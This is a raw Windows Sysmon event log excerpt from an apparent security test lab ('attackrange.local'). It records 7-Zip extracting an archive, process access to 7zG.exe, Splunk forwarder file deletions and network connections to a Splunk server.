14:47:23.818{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:23.818{7BD73061-6D0F-613B-9406-00000000F001}44805308C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\7-Zip\7-zip.dll+4f38|C:\Program Files\7-Zip\7-zip.dll+61c5|C:\Program Files\7-Zip\7-zip.dll+698e|C:\Program Files\7-Zip\7-zip.dll+6aa9|C:\Program Files\7-Zip\7-zip.dll+8771|C:\Windows\System32\SHELL32.dll+80287|C:\Windows\System32\SHELL32.dll+6719e|C:\Windows\System32\SHELL32.dll+17c30c|C:\Windows\System32\SHELL32.dll+19ead8|C:\Windows\System32\SHELL32.dll+2846d3|C:\Windows\system32\explorerframe.dll+13cf7b|C:\Windows\system32\explorerframe.dll+139d07|C:\Windows\System32\SHELL32.dll+17c5b0|C:\Windows\System32\SHELL32.dll+179a2e|C:\Windows\System32\SHELL32.dll+736e1|C:\Windows\System32\SHELL32.dll+765c6|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11d7b|C:\Windows\System32\DUser.dll+17b15|C:\Windows\SYSTEM32\atlthunk.dll+1026 154100x800000000000000046264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:23.815{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe19.007-Zip GUI7-ZipIgor Pavlov7zg.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Temp\" -an -ai#7zMap32173:82:7zEvent6467C:\Windows\system32\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=04FB3AE7F05C8BC333125972BA907398,SHA256=2FB898BACB587F2484C9C4AA6DA2729079D93D1F923A017BB84BEEF87BF74FEF,IMPHASH=9CF6F80DD6DFE9900700C1E11C318B2A{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\explorer.exeC:\Windows\Explorer.EXE /NOUACCHECK 23542300x800000000000000046263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:23.443{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1656585CD310A387453206C52A86B44E,SHA256=2D6C6543D1D20D11AD43CDE4A7C5705255A390E6FB3EF1AED61419AAFC401A28,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.818{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DD4FD38A372D80C4A7FA742273972ED1,SHA256=39DB6D891B954ECB05A22E60DA922C0B348113EA2C0FF81DE362642B66F8058A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.505{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.458{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BD0D56055E69E8A67E654DDE7269D0AA,SHA256=9FC3998057A8EC715D766AD6F337A490034C36D679363087E2C898637A2017DA,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.458{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.458{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.458{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.458{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+1e03a|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.458{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+1e03a|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.458{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+1e03a|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.458{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\Explorer.EXE+1f054|C:\Windows\Explorer.EXE+1f000|C:\Windows\Explorer.EXE+1dfec|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014357Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:24.704{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9AB56D599EDB4D21BB8CCC9EC0D2B5C1,SHA256=DA106119F8223E78155CABCADF6240D6BA0A570B2441D1383311AE7C63999645,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.427{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046277Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.427{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046276Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.396{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62400|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046275Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.396{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+47c00|C:\Windows\System32\SHELL32.dll+623bc|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046274Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.396{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\TwinUI.dll+f54e1|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046273Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.396{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046272Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.224{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046271Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:24.224{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014358Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:25.736{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8A1C0C6D02CAAC5D9B72DA16779D299C,SHA256=192ADBA5EB508AD3C5A28F7A190BEE44A2B5A68AF3EF9A03E5880EE73DB7DDC4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:25.552{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C2F35621C63568DA1805C8BAF42F0B03,SHA256=FEAC676C6DCFEF4ECA1DDE2F9E1EC321EA59D75475D490382D21A7B940C58D32,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:22.524{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59294-false10.0.1.12-8000- 23542300x800000000000000014359Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:26.736{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C88B38301208F29053CDCEA88FECE6A6,SHA256=AA9AAAAF02912931FA89D790A8885B280A89E1BFD79F4356A64F2A0A37997123,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:26.693{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:26.693{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:26.693{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-6FFB-613B-F80A-00000000F001}3232C:\Program Files\7-Zip\7zG.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:26.568{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EA1A6C328836A1395CE0CE3AEEBCED5D,SHA256=2288CE635FEE0ABE6ED26C317F549DF19790B3240FB25E4AEAAD18E09B13E665,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014360Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:27.751{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B60A8C4FFA43D31A53C7622A5B1D4D9,SHA256=8A2036993F823AD88684154AE6349E3887845F3B2AB9570E839024A8882A5C83,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:27.724{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=38DB271D4CD3484D1003092E564E6A69,SHA256=9E972FB17A3885E5580C0D6D3D5B3C091E59A23347FFC0BFF91A10193DC5B538,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014362Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:28.798{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=909C6465768DBCA1244BCFEFB97ADC4B,SHA256=663FE3BAA4AAEAA4E2DAE9320E29107512F2C8ED37F888F6728273A21C613951,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:28.755{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F65C9B1C68595BD2681AC2D3DDAEFB66,SHA256=CE31D282632996C459673D920F99579022CF6BF997412D29D307C552769A1099,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014361Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:26.579{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50152-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014363Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:29.814{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B44E5EC1B0D882305D8B2390A3F68806,SHA256=D8385E48E83BB8DF6048E4E096B96DF7622F1312A9C4A969030F70196D674AE3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:29.786{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=482ABC3EC480E687CC2AB19180E0A855,SHA256=51A54D219ED26F26198DBD9E3198A8AB136DA4C4A3FE326CB0DF97D4825F89DF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:29.568{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014364Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:30.819{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9ED3ABA418F1F2EE7538018B10F7E72E,SHA256=39578458B665FD03248360B1C8DDA77E0158D8DC4E1887850390F1C5D2EE529D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:30.791{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F595B94997AF17B075D465872E7CEAEF,SHA256=9D6CD3293BC88F3A09133149DA14F6550576E735E9DC519FF66A14F99417C050,IMPHASH=00000000000000000000000000000000falsetrue 